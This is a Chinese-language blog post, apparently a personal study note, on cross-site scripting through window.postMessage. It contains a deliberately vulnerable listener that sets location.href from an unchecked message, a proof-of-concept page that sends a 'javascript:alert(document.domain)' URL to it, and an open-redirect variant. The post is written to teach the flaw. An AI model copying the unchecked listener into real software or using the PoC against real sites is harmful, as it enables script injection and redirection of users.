postmessage xss初步学习

随笔

由于本人现在处于项目上,夜班太无聊,随便翻翻网上博客,发现了玲珑的老师-红尘哥在之前写的postmessage xss文章,就想着学习一下这块知识
原文链接

postMessage 的工作原理

postMessage 允许一个窗口向另一个窗口发送消息。消息可以是任意可序列化的数据,例如字符串、数字、对象等。消息的发送方和接收方可以通过 event 对象来处理消息。所以也可以用于xss攻击

环境搭建

由于在上夜班,我自己的vps访问不了,我这里就用dnslog(https://requestrepo.com/)来演示,这个平台可以上传一些html等等文件

我这里就用红尘哥的环境代码来操作(这里我改了点东西)

demo1.html,代发送数据的页面

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
function openChild() {
    child = window.open('demo2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
    //发送的数据内容
    let msg={pName : "shihui", pAge: "20"};
    //child.postMessage(msg, '*'); 的意思是:向 child 窗口发送一个消息 msg,并且允许消息发送到任意来源的窗口,也就是说可以发送消息数据到任意目标源
    child.postMessage(msg,'*');
}
</script>
</head>
<body>
    <form>
        <fieldset>
            <input type='button' id='btnopen' value='Open child' onclick='openChild();' />
            <input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
        </fieldset>
    </form>
</body>
</html>

demo2.html,代监听发送的数据,接收消息数据页面

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
        //添加事件监控消息
    window.addEventListener("message", (event)=>{
        let txt=document.getElementById("msg");
        //接收传输过来的变量数据
        txt.value=`Name is ${event.data.pName} Age is  ${event.data.pAge}` ;

    });
    </script>
</head>
<body>
    <form>
        <h1>postMessage学习</h1>
        <input type='text' id='msg'/>
    </form>
</body>
</html>

这里的接收页面,有三个问题

1.代码没有检查 event.origin,这意味着任何来源的窗口都可以向当前窗口发送消息。如果攻击者通过恶意网站打开你的窗口并发送伪造的消息,这些消息可能会被接收并显示在文本框中。

2.代码没有检查 event.source,这意味着任何窗口都可以发送消息。如果攻击者通过伪造的窗口引用向你的窗口发送消息,这些消息可能会被接收并显示在文本框中。

3.代码直接将接收到的消息内容插入到文本框中,而没有进行任何清理或验证。如果消息内容包含恶意脚本,这些脚本可能会被浏览器执行,导致 XSS 攻击。

复现

1.打开网站,点击open 会发现打开了demo2那个页面,然后发送

2.注意,这里已经把内容传输过去了,然后在demo2上查看

但这里有一个问题就是,这个demo2.html 是任意地址都可以给他发消息

3.那么好,我们来验证一下,是不是可以随便什么地址都可以发(也可以本地直接认证)

再开一个dnslog,新建html

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('http://6gpquz4n.requestrepo.com/demo2.html');

function sendMessage(){
    let msg={pName : "hack", pAge: "16"};
    childwin.postMessage(msg,'*')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

当访问了这个http://u5qr1efs.requestrepo.com/123.html的时候会自动跳转到我们的demo2站

且内容已经修改

4.以上都是正常模拟

现在开始尝试xss

代码:

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
    window.addEventListener("message", (event)=>{
        location.href=`${event.data.url}`;//这里${event.data.url}是可控的 所以尝试xss 也可以尝试url
    });
    </script>
</head>
</html>

利用poc

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('https://6gpquz4n.requestrepo.com/xss.html');

function sendMessage(){
    let msg={url:"javascript:alert(document.domain)"};
    childwin.postMessage(msg,'*')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

然后访问http://u5qr1efs.requestrepo.com/poc.html

发现自动跳转到https://6gpquz4n.requestrepo.com/xss.html(漏洞存在点)

这里poc中我们发送了

html 复制代码
let msg = { url: "javascript:alert(document.domain)" };
childwin.postMessage(msg, '*');//msg 是一个对象,包含一个 url 属性,其值为 "javascript:alert(document.domain)"

但在xss.html中接收 就是

event.data 是poc代码发送的 msg 对象。因此,event.data.url 的值是 "javascript:alert(document.domain)"

所以他会弹窗

那么该xss的学习就初步到这里

然后我们开始尝试url跳转

在poc.html中修改url:"xxx"这里的xxx可以修改为容易url,我这里就用百度的ico来演示,然后访问http://u5qr1efs.requestrepo.com/poc.html就会发现跳转到百度的ico图标地址

相关推荐
KaMeidebaby14 小时前
卡梅德生物技术快报|蛋白 N 端测序在重组贻贝融合蛋白表征中的应用,解决原核表达序列偏移工艺难题
前端·人工智能·物联网·算法·百度
Byron__15 小时前
AI学习_06_短期记忆与长期记忆
人工智能·python·学习
kyriewen15 小时前
我筛了 1400 个 Claude Code Skills,留下 5 个天天在用的
前端·ai编程·claude
试剂界的爱马仕16 小时前
Anti-mouse PD-1 mAb (Clone RMP1-14) 与 Axitinib 小鼠实验使用方案整理汇总
大数据·人工智能·深度学习·学习
JNX_SEMI16 小时前
AT2401C 2.4GHz 全集成射频前端单芯片技术解析
前端·单片机·嵌入式硬件·物联网·硬件工程
anOnion16 小时前
Agentic 前端开发之 实时显示 AI Agent 终端输出
前端·javascript·人工智能
随风一样自由16 小时前
【前端领域】2026最新前端领域全梳理(框架/工具/AI/跨端/底层标准/就业趋势)
前端·人工智能·前端框架
这是个栗子16 小时前
【前端性能优化】优化数据加载:用 Promise.all 从串行到并行
前端·javascript·性能优化·异步编程·前端优化·promise.all
Gp7HH6hrE17 小时前
OpenAI 与 Anthropic 开放公共学习平台
人工智能·学习·chatgpt
fei_sun17 小时前
黑洞路由(Null Route/空接口路由)
服务器·前端·javascript